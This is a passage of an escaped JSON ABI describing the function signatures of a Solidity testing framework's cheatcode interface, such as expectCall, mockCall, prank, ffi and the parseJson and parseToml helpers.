",\"type\":\"bytes\"},{\"internalType\":\"uint64\",\"name\":\"count\",\"type\":\"uint64\"}],\"name\":\"expectCall\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"callee\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"expectCall\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"callee\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"},{\"internalType\":\"uint64\",\"name\":\"count\",\"type\":\"uint64\"}],\"name\":\"expectCall\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"callee\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"msgValue\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"expectCall\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"callee\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"msgValue\",\"type\":\"uint256\"},{\"internalType\":\"uint64\",\"name\":\"minGas\",\"type\":\"uint64\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"expectCallMinGas\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"callee\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"msgValue\",\"type\":\"uint256\"},{\"internalType\":\"uint64\",\"name\":\"minGas\",\"type\":\"uint64\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"},{\"internalType\":\"uint64\",\"name\":\"count\",\"type\":\"uint64\"}],\"name\":\"expectCallMinGas\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"expectEmit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"checkTopic1\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"checkTopic2\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"checkTopic3\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"checkData\",\"type\":\"bool\"}],\"name\":\"expectEmit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"checkTopic1\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"checkTopic2\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"checkTopic3\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"checkData\",\"type\":\"bool\"},{\"internalType\":\"address\",\"name\":\"emitter\",\"type\":\"address\"}],\"name\":\"expectEmit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"emitter\",\"type\":\"address\"}],\"name\":\"expectEmit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"revertData\",\"type\":\"bytes4\"}],\"name\":\"expectRevert\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"revertData\",\"type\":\"bytes\"}],\"name\":\"expectRevert\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"expectRevert\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"min\",\"type\":\"uint64\"},{\"internalType\":\"uint64\",\"name\":\"max\",\"type\":\"uint64\"}],\"name\":\"expectSafeMemory\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"min\",\"type\":\"uint64\"},{\"internalType\":\"uint64\",\"name\":\"max\",\"type\":\"uint64\"}],\"name\":\"expectSafeMemoryCall\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"newBasefee\",\"type\":\"uint256\"}],\"name\":\"fee\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string[]\",\"name\":\"commandInput\",\"type\":\"string[]\"}],\"name\":\"ffi\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"result\",\"type\":\"bytes\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"fsMetadata\",\"outputs\":[{\"components\":[{\"internalType\":\"bool\",\"name\":\"isDir\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"isSymlink\",\"type\":\"bool\"},{\"internalType\":\"uint256\",\"name\":\"length\",\"type\":\"uint256\"},{\"internalType\":\"bool\",\"name\":\"readOnly\",\"type\":\"bool\"},{\"internalType\":\"uint256\",\"name\":\"modified\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"accessed\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"created\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.FsMetadata\",\"name\":\"metadata\",\"type\":\"tuple\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getBlockNumber\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"height\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getBlockTimestamp\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"timestamp\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"artifactPath\",\"type\":\"string\"}],\"name\":\"getCode\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"creationBytecode\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"artifactPath\",\"type\":\"string\"}],\"name\":\"getDeployedCode\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"runtimeBytecode\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"getLabel\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"currentLabel\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"elementSlot\",\"type\":\"bytes32\"}],\"name\":\"getMappingKeyAndParentOf\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"found\",\"type\":\"bool\"},{\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"parent\",\"type\":\"bytes32\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"mappingSlot\",\"type\":\"bytes32\"}],\"name\":\"getMappingLength\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"length\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"mappingSlot\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"idx\",\"type\":\"uint256\"}],\"name\":\"getMappingSlotAt\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"getNonce\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"nonce\",\"type\":\"uint64\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyX\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyY\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.Wallet\",\"name\":\"wallet\",\"type\":\"tuple\"}],\"name\":\"getNonce\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"nonce\",\"type\":\"uint64\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getRecordedLogs\",\"outputs\":[{\"components\":[{\"internalType\":\"bytes32[]\",\"name\":\"topics\",\"type\":\"bytes32[]\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"},{\"internalType\":\"address\",\"name\":\"emitter\",\"type\":\"address\"}],\"internalType\":\"struct VmSafe.Log[]\",\"name\":\"logs\",\"type\":\"tuple[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"isDir\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"result\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"isFile\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"result\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"isPersistent\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"persistent\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"keyExists\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"keyExistsJson\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"keyExistsToml\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"string\",\"name\":\"newLabel\",\"type\":\"string\"}],\"name\":\"label\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"slot\",\"type\":\"bytes32\"}],\"name\":\"load\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"data\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"pathToAllocsJson\",\"type\":\"string\"}],\"name\":\"loadAllocs\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address[]\",\"name\":\"accounts\",\"type\":\"address[]\"}],\"name\":\"makePersistent\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account0\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"account1\",\"type\":\"address\"}],\"name\":\"makePersistent\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"makePersistent\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account0\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"account1\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"account2\",\"type\":\"address\"}],\"name\":\"makePersistent\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"callee\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"msgValue\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"},{\"internalType\":\"bytes\",\"name\":\"returnData\",\"type\":\"bytes\"}],\"name\":\"mockCall\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"callee\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"},{\"internalType\":\"bytes\",\"name\":\"returnData\",\"type\":\"bytes\"}],\"name\":\"mockCall\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"callee\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"msgValue\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"},{\"internalType\":\"bytes\",\"name\":\"revertData\",\"type\":\"bytes\"}],\"name\":\"mockCallRevert\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"callee\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"},{\"internalType\":\"bytes\",\"name\":\"revertData\",\"type\":\"bytes\"}],\"name\":\"mockCallRevert\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"name\":\"parseAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"parsedValue\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"name\":\"parseBool\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"parsedValue\",\"type\":\"bool\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"name\":\"parseBytes\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"parsedValue\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"name\":\"parseBytes32\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"parsedValue\",\"type\":\"bytes32\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"name\":\"parseInt\",\"outputs\":[{\"internalType\":\"int256\",\"name\":\"parsedValue\",\"type\":\"int256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"name\":\"parseJson\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"abiEncodedData\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJson\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"abiEncodedData\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonAddressArray\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonBool\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonBoolArray\",\"outputs\":[{\"internalType\":\"bool[]\",\"name\":\"\",\"type\":\"bool[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonBytes\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonBytes32\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonBytes32Array\",\"outputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"\",\"type\":\"bytes32[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonBytesArray\",\"outputs\":[{\"internalType\":\"bytes[]\",\"name\":\"\",\"type\":\"bytes[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonInt\",\"outputs\":[{\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonIntArray\",\"outputs\":[{\"internalType\":\"int256[]\",\"name\":\"\",\"type\":\"int256[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonKeys\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"keys\",\"type\":\"string[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonStringArray\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"\",\"type\":\"string[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonUint\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonUintArray\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"\",\"type\":\"uint256[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseToml\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"abiEncodedData\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"}],\"name\":\"parseToml\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"abiEncodedData\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlAddressArray\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlBool\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlBoolArray\",\"outputs\":[{\"internalType\":\"bool[]\",\"name\":\"\",\"type\":\"bool[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlBytes\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlBytes32\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlBytes32Array\",\"outputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"\",\"type\":\"bytes32[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlBytesArray\",\"outputs\":[{\"internalType\":\"bytes[]\",\"name\":\"\",\"type\":\"bytes[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlInt\",\"outputs\":[{\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlIntArray\",\"outputs\":[{\"internalType\":\"int256[]\",\"name\":\"\",\"type\":\"int256[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlKeys\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"keys\",\"type\":\"string[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlStringArray\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"\",\"type\":\"string[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlUint\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseTomlUintArray\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"\",\"type\":\"uint256[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"name\":\"parseUint\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"parsedValue\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pauseGasMetering\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"msgSender\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"txOrigin\",\"type\":\"address\"}],\"name\":\"prank\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"msgSender\",\"type\":\"address\"}],\"name\":\"prank\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"newPrevrandao\",\"type\":\"bytes32\"}],\"name\":\"prevrandao\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"projectRoot\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"readCallers\",\"outputs\":[{\"internalType\":\"enum VmSafe.CallerMode\",\"name\":\"callerMode\",\"type\":\"uint8\"},{\"internalType\":\"address\",\"name\":\"msgSender\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"txOrigin\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"uint64\",\"name\":\"maxDepth\",\"type\":\"uint64\"}],\"name\":\"readDir\",\"outputs\":[{\"components\":[{\"internalType\":\"string\",\"name\":\"errorMessage\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"uint64\",\"name\":\"depth\",\"type\":\"uint64\"},{\"internalType\":\"bool\",\"name\":\"isDir\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"isSymlink\",\"type\":\"bool\"}],\"internalType\":\"struct 